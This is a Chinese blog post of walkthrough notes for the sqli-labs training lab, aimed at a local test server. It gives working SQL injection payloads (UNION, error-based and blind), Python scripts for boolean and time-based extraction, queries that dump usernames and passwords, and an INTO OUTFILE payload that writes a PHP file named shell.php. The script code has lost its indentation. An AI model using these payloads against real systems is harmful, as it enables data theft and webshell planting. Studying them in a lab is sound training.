sql-labs学习

本文最后更新于:2 年前

sqli-labs 通关笔记

sql 注入漏洞 是因为 程序员在开发的时候,没有对数据库查询语句中用户输入字符进行严格过滤导致

字符型注入

less 1

%23 为 #号的 url编码

  1. 判断闭合符号

    http://127.0.0.1/sqli-labs/Less-1/?id=1'

  2. 测试行数

    http://127.0.0.1/sqli-labs/Less-1/?id=1' order by number

    number 为最大不报错数字

  3. 测试显示位

    http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3;%23

    使 前面的数据查找失效, 显示后面联合查询的结果

  4. 爆库

    http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),2;%23

  5. 爆表

    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.columns%20where%20table_schema=database();%23

  6. 爆列

    http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),group_concat(table_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%22users%22;%23

  7. 查数据

less 2

数字型注入

与上面基本一致,就是不需要闭合语句

http://127.0.0.1/sqli-labs/Less-2/?id=-1%20%20union%20select%201,2,3;%23

less 3

闭合语句应为 ‘)

less 4

闭合语句应为 “)

less 5

盲注

闭合语句为

1’ and 1=1;%23

介绍几个mysql 函数

length() 返回长度, 可以是某个字段

substr(string, pos, length) 取字符串下标 pos, 然后返回 pos之后 字符串+ length的内容

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import string

def get_length(url, payload, exp):
for i in range(100):
finally_url = url + payload % i
response = requests.get(finally_url)
if exp in response.text:
return i

else:
return 0



def get_dbname():
url = "http://127.0.0.1/sqli-labs/Less-5/?id=1"
payload = "' and substr(database(),%d, 1)='%c';--+"
exp = 'You are in...........'
length = get_length(url, "' and length(database())=%d;--+", exp)
string_able = string.ascii_lowercase
db_name = ''
for index in range(1, length+1):
for i in string_able:
finaly_url = url + payload % (index, i)
response = requests.get(finaly_url)
if exp in response.text:
db_name += i
break
else:
db_name += 'X'

print(db_name, length)


get_dbname()

less 6

同上,盲注,但是闭合语句变成了 “

less 7

使用 outfile

payload:

1
-1'))  union select 1,2,'<?php phpinfo(); ?>'into outfile "网站路径\\shell.php";#

image-20211019150309503

这个报错说明没有权限, 然后 windows 的路径需要 转义符号

image-20211019151516293

less 8

布尔盲注,直接用 less 5 的脚本打

less 9

时间盲注

介绍几个函数

sleep(0) 使程序暂停 0 s

if(条件, 语句1, 语句2) 如果条件为真 执行语句1 反之执行语句2

然后上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
# coding = utf-8

import requests
import string
import time

url = "http://127.0.0.1/sqli-labs/Less-9/?id=1"

def get_length(url, payload, exp):
for i in range(100):
finally_url = url + payload % i
start_time = time.time()
response = requests.get(finally_url)
end_time = time.time()
if end_time - start_time > exp:
return i

else:
return 0


def get_dbname():

payload = "' and sleep(if(substr(database(), %d, 1)='%c', 3, 0));--+"
exp = 3
length = get_length(url, "' and sleep(if(length(database()) = %d, 3,0));--+", exp)

db_name = ''
print(length)
for index in range(1, length+1):
for i in string.ascii_lowercase:
finally_url = url + payload % (index, i)
start_time = time.time()
response = requests.get(finally_url)
end_time = time.time()
if end_time - start_time > exp:
db_name += i
break
else:
db_name += 'X'


print(db_name)

get_dbname()

less 10

同 less 9 , 盲注, 闭合符号换成 “

报错注入

extractvalue(目标xml文档, xml路径) 对 xml 文档进行查询的函数

如果 目标xml文档 语句不正确, 就会打印 xml路径

concat 拼接所有参数, 参数必须是字符串类型

group_concat 将参数进行分组拼接, 可使用常量

updatexml 更新 xml 文档

updatexml(目标xml文档, xml路径,更新的内容)

一般首尾都是这个, ‘anything’ , 路径为要查询的数据

updatexml 和 extractvalue 都是只能报错32位

floor 函数注入

  利用floor、count、group by三者起冲突导致报错,使用 三者不可缺一

  使用条件:mysql 5.0及以上版本

  长度限制:64位

  floor() 取整数

  rand() 在[0,1]产生一个随机数

  rand(0)*2 取0到2的随机数

举例:

1
or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) y);%23

  查询所有数据库名

1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(schema_name),0x7e),1,64)from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

  查询某数据库下的所有表,输出 security数据库下的所有表名

1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(table_name),0x7e),1,64)from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

  查询某表下的所有字段,输出security库下users表的所有字段

1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(column_name),0x7e),1,64)from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

  查询users表下的password字段数据

1
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(password),0x7e),1,64)from users),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -

less 11

一个登录框, 可以用 万能密码登录

payload

爆表

1
1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e));%23

爆字段

1
1' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e));%23

取数据

1
1' and extractvalue(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users), 0x7e));%23

less 12

发现了一个 知识盲点

1
select username,passwod from users where username="test" and sleep(10);

只有 username=”test” 时,sleep才会执行,如果被查询的语句中有多条 username为test 的数据, 就执行几次sleep

当 逻辑语句 为 or 时后面一条指令也会进行执行, 这在 删除数据时非常危险

顺便解决一下,只能报错32位的问题

1
select mid(group_concat(schema_name),1,30) from information_schema.schemata

下一波是 30-60,依次查看

less 13

类似上面 闭合符号为 ‘)

less 14

同上 闭合符号为 “

less 15

布尔盲注, 上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

def get_length_post(url, payload, exp):
for i in range(100):
cur_payload = payload.copy()

cur_payload['uname'] = cur_payload['uname'].format(i)
print(cur_payload)

response = requests.post(url=url, data=cur_payload)

if exp in response.text:
print(i)
return i
else:
return 0

def get_dbname_post():
import requests

exp = "flag.jpg"

burp0_url = "http://192.168.66.76:80/sqli-labs/Less-15/"
payload = {"uname": "admin' and substr(database(), {}, 1)='{}';", "passwd": "1231321", "submit": "Submit"}

length = get_length_post(burp0_url, {"uname": "admin' and length(database())='{}';#", "passwd": "1231321", "submit": "Submit"}, exp)

db_name = ''
for index in range(length):
for i in string.ascii_lowercase:
cur_payload = payload.copy()
cur_payload['uname'] = cur_payload['uname'].format(index, i)
response = requests.post(url=burp0_url, data=cur_payload)
if exp in response.text:
db_name += i
break
else:
db_name += 'X'

print(db_name)

get_dbname_post()

记录一个小坑

requests.post 提交的data如果是字典的话,就自动进行url编码, 如果是字符串的话,不进行url编码

less 16

同上 闭合符号换成了 admin”)

less 17

报错注入, 注入点在 password 中, username 被处理了

查表 payload

1
uname=admin&passwd=123123' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e));%23&submit=Submit

查字段名

1
uname=admin&passwd=123123' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"), 0x7e));%23&submit=Submit

查数据

1

这里查数据出现了问题, 不能在 update 语句中对 操作表进行 查询操作

header 注入

less 18

header 头部注入

这里的意思是 注入点在头部, 方式还是其他的注入

报错注入 payload

1
User-Agent: xxx'and extractvalue(0, concat(0x7e, (select 1 ), 0x7e)) or'

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!